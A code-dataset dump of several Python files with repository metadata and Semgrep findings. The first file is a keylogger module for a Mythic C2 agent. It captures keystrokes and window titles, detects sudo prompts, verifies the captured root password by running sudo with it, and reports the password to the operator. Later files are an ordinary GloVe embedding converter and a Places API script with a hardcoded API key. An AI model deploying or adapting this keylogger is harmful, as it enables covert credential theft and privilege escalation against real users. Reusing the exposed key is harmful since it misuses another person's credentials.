"gha_event_created_at": 1620552319000,
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 365714160,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4778,
"license": "BSD-3-Clause,MIT",
"license_type": "permissive",
"path": "/Payload_Types/kayn/agent_code/keylog.py",
"provenance": "stack-edu-0054.json.gz:578338",
"repo_name": "simonedaini/Mythic",
"revision_date": 1629459303000,
"revision_id": "e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33",
"snapshot_id": "6e4bb70290706531d05a8b93533b74f77b2528fd",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/simonedaini/Mythic/e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33/Payload_Types/kayn/agent_code/keylog.py",
"visit_date": "2023-07-17T01:20:35.433536"
} | 2.375 | stackv2 | def keylog(task_id):
global responses
global stopping_functions
def get_active_window_title():
root = subprocess.Popen(['xprop', '-root', '_NET_ACTIVE_WINDOW'], stdout=subprocess.PIPE)
stdout, stderr = root.communicate()
m = re.search(b'^_NET_ACTIVE_WINDOW.* ([\w]+)$', stdout)
if m != None:
window_id = m.group(1)
window = subprocess.Popen(['xprop', '-id', window_id, 'WM_NAME'], stdout=subprocess.PIPE)
stdout, stderr = window.communicate()
else:
return "None"
match = re.match(b"WM_NAME\(\w+\) = (?P<name>.+)$", stdout)
if match != None:
return match.group("name").strip(b'"').decode()
return "None"
def keylogger():
def on_press(key):
global line
global nextIsPsw
global sudo
global break_function
if "keylog" in stopping_functions:
print(colored("\t - Keylogger stopped", "red"))
response = {
"task_id": task_id,
"user": getpass.getuser(),
"window_title": get_active_window_title(),
"keystrokes": line,
"completed": True
}
responses.append(response)
line = ""
break_function = False
return False
try:
line = line + key.char
k = key.char
except:
try:
k = key.name
if key.name == "backspace":
if len(line) > 0:
line = line[:-1]
elif key.name == "space":
line += " "
elif key.name == "enter":
print(nextIsPsw)
if nextIsPsw == True:
print("I GOT THE PASSWORD: {}".format(line))
cmd = "echo {} | sudo -S touch fileToCheckSudo.asd".format(line)
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
stdout, stderr = p.communicate()
p = subprocess.Popen(["ls"], stdout=subprocess.PIPE)
stdout, stderr = p.communicate()
if "fileToCheckSudo.asd" in str(stdout):
cmd = "echo {} | sudo -S rm fileToCheckSudo.asd".format(line)
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
response = {
"task_id": task_id,
"user_output": "root password acquired: {}".format(line),
"user": getpass.getuser(),
"window_title": get_active_window_title(),
"keystrokes": line + "\n",
}
responses.append(response)
nextIsPsw = False
sudo = line
line = ""
else:
if 'sudo ' in line:
print("Next should be password")
nextIsPsw = True
response = {
"task_id": task_id,
"user": getpass.getuser(),
"window_title": get_active_window_title(),
"keystrokes": line + "\n",
}
responses.append(response)
line = ""
elif key.name == "shift" or key.name == "ctrl" or key.name == "alt" or key.name == "caps_lock" or key.name == "tab":
if "crtlc" in line:
line = ""
nextIsPsw = False
else:
line = line + key.name
except:
pass
listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()
thread2 = threading.Thread(target=keylogger, args=())
thread2.start()
print("\t- Keylog Running")
line = ""
nextIsPsw = False | 137 | 33.88 | 136 | 27 | 824 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_2eef013071ff561a_0922cc28", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 33, "column_end": 90, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/2eef013071ff561a.py", "start": {"line": 76, "col": 33, "offset": 2252}, "end": {"line": 76, "col": 90, "offset": 2309}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_2eef013071ff561a_38e6fd72", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 61, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpr7mo7ysm/2eef013071ff561a.py", "start": {"line": 76, "col": 61, "offset": 2280}, "end": {"line": 76, "col": 65, "offset": 2284}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_2eef013071ff561a_11cec21e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 37, "column_end": 94, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/2eef013071ff561a.py", "start": {"line": 84, "col": 37, "offset": 2717}, "end": {"line": 84, "col": 94, "offset": 2774}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_2eef013071ff561a_59891358", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 65, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpr7mo7ysm/2eef013071ff561a.py", "start": {"line": 84, "col": 65, "offset": 2745}, "end": {"line": 84, "col": 69, "offset": 2749}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
76,
76,
84,
84
] | [
76,
76,
84,
84
] | [
33,
61,
37,
65
] | [
90,
65,
94,
69
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functi... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"HIGH",
"LOW",
"HIGH"
] | [
"HIGH",
"LOW",
"HIGH",
"LOW"
] | keylog.py | /Payload_Types/kayn/agent_code/keylog.py | simonedaini/Mythic | BSD-3-Clause,MIT | |
2024-11-18T20:18:48.808909+00:00 | 1,589,956,468,000 | 374774d30ff65c0fbb5cc1823bc00c56ebb89af4 | 2 | {
"blob_id": "374774d30ff65c0fbb5cc1823bc00c56ebb89af4",
"branch_name": "refs/heads/master",
"committer_date": 1589956468000,
"content_id": "5f2a9483438f54df09aaa4a783ced12bca55dff9",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "ddec20e39dcd7a61c7bac78f55cd1b96475d44ae",
"extension": "py",
"filename": "create_glove_dict.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 542,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/create_glove_dict.py",
"provenance": "stack-edu-0054.json.gz:578347",
"repo_name": "zzg-971030/EWISE",
"revision_date": 1589956468000,
"revision_id": "cac9d5c9f2dddb2ead841619d8b514244126c13d",
"snapshot_id": "d88f78e755c5225fbaa3762c3cb37c4d367c6422",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/zzg-971030/EWISE/cac9d5c9f2dddb2ead841619d8b514244126c13d/create_glove_dict.py",
"visit_date": "2022-08-29T18:55:52.915851"
} | 2.40625 | stackv2 | import numpy as np
import sys
from tqdm import trange
import pickle
inpfile = sys.argv[1]
outfile = sys.argv[2]
embedding_dim = 300
with open(inpfile) as f:
lines = f.readlines()
lines = [line.split() for line in lines]
lines = [line for line in lines if len(line)==301]
words = [line[0] for line in lines]
nwords = len(words)
d = {}
for idx in trange(nwords):
d[words[idx].strip()] = np.array(lines[idx][1:], dtype=np.float)
print ('saving embeddings to', outfile)
with open(outfile, 'wb') as fout:
pickle.dump(d, fout)
| 26 | 19.85 | 69 | 10 | 157 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_578a282f44f86323_b3b9f50a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 6, "column_end": 19, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/578a282f44f86323.py", "start": {"line": 11, "col": 6, "offset": 140}, "end": {"line": 11, "col": 19, "offset": 153}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_578a282f44f86323_a757b224", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/578a282f44f86323.py", "start": {"line": 26, "col": 5, "offset": 521}, "end": {"line": 26, "col": 25, "offset": 541}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
26
] | [
26
] | [
5
] | [
25
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | create_glove_dict.py | /create_glove_dict.py | zzg-971030/EWISE | Apache-2.0 | |
2024-11-18T20:18:54.522729+00:00 | 1,508,716,548,000 | ca4f612c37ed268ae3f7c419018d475d5b64a220 | 3 | {
"blob_id": "ca4f612c37ed268ae3f7c419018d475d5b64a220",
"branch_name": "refs/heads/master",
"committer_date": 1508716548000,
"content_id": "966f432655e59c05da631398a8bc9ffbd85e44bb",
"detected_licenses": [
"MIT"
],
"directory_id": "5ccaac22050bf41dad768fd1a93e81da2228c026",
"extension": "py",
"filename": "sample2.py",
"fork_events_count": 0,
"gha_created_at": 1504286149000,
"gha_event_created_at": 1670457417000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 102136052,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1940,
"license": "MIT",
"license_type": "permissive",
"path": "/myProject/sample2.py",
"provenance": "stack-edu-0054.json.gz:578407",
"repo_name": "trunnelben/dayEventPlanner",
"revision_date": 1508716548000,
"revision_id": "517af4d74bb5fbe460dc658f1bd79572ec6a199c",
"snapshot_id": "091db5b613503fc4ba206b53beb9f91fc79a3fc7",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/trunnelben/dayEventPlanner/517af4d74bb5fbe460dc658f1bd79572ec6a199c/myProject/sample2.py",
"visit_date": "2022-12-14T20:27:23.685997"
} | 2.71875 | stackv2 | import os
import requests
import json
import argparse
ACCESS_TOKEN = 'AIzaSyCHw1SncshAFT3ry2n0poQGR4EArdx6I5Q'
import urllib
def build_URL(search_text='',types_text=''):
base_url = 'https://maps.googleapis.com/maps/api/place/textsearch/json' # Can change json to xml to change outp$
key_string = '?key='+ACCESS_TOKEN # First think after the base_url starts$
query_string = '&query='+urllib.quote(search_text)
sensor_string = '&sensor=false' # Presumably you are not getting locati$
type_string = ''
if types_text!='':
type_string = '&types='+urllib.quote(types_text) # More on types: https://developers.goo$
url = base_url+key_string+query_string+sensor_string+type_string
return url
parser = argparse.ArgumentParser()
parser.add_argument('-st', '--searchterm', dest='searchterm', type=str)
input_values = parser.parse_args()
a = build_URL(search_text=input_values.searchterm)
# print(a)
response = requests.get(a)
data = requests.get(a).json()
# search = "San Francisco, CA"
# print(data)
# print(search)
# print('python sample.py --location="%s"' % search)
# os.system('python sample.py --location="%s"' % search)
i = 0
while(i <= 2):
lat = str (data["results"][i]["geometry"]["location"]["lat"])
long = str (data["results"][i]["geometry"]["location"]["lng"])
placeName = str (data["results"][i]["name"])
print("THING TO DO:")
# print("latitude = " + lat)
# print("longitude = " + long)
print("Attraction = " + placeName)
print("")
print("RESTUARANTS:")
print("")
# print('python sample.py --latitude="%s"' % lat)
# print('python sample.py --longitude="%s"' % long)
# os.system('python sample.py --latitude="%s" --longitude="%s"' % (lat, long))
os.system('python sample.py --latitude="%s" --longitude="%s"' % (lat, long))
i = i + 1
| 50 | 37.8 | 120 | 14 | 492 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_aba314a3eb828596_bbab621d", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 12, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 25, "col": 12, "offset": 1055}, "end": {"line": 25, "col": 27, "offset": 1070}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_aba314a3eb828596_2252780a", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(a, timeout=30)", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 12, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 25, "col": 12, "offset": 1055}, "end": {"line": 25, "col": 27, "offset": 1070}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(a, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_aba314a3eb828596_e3e0319b", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 8, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 26, "col": 8, "offset": 1078}, "end": {"line": 26, "col": 23, "offset": 1093}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_aba314a3eb828596_95af4b95", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(a, timeout=30)", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 8, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 26, "col": 8, "offset": 1078}, "end": {"line": 26, "col": 23, "offset": 1093}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(a, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_aba314a3eb828596_9fadc965", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 81, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 49, "col": 5, "offset": 1849}, "end": {"line": 49, "col": 81, "offset": 1925}, "extra": {"message": "Found dynamic content used in a 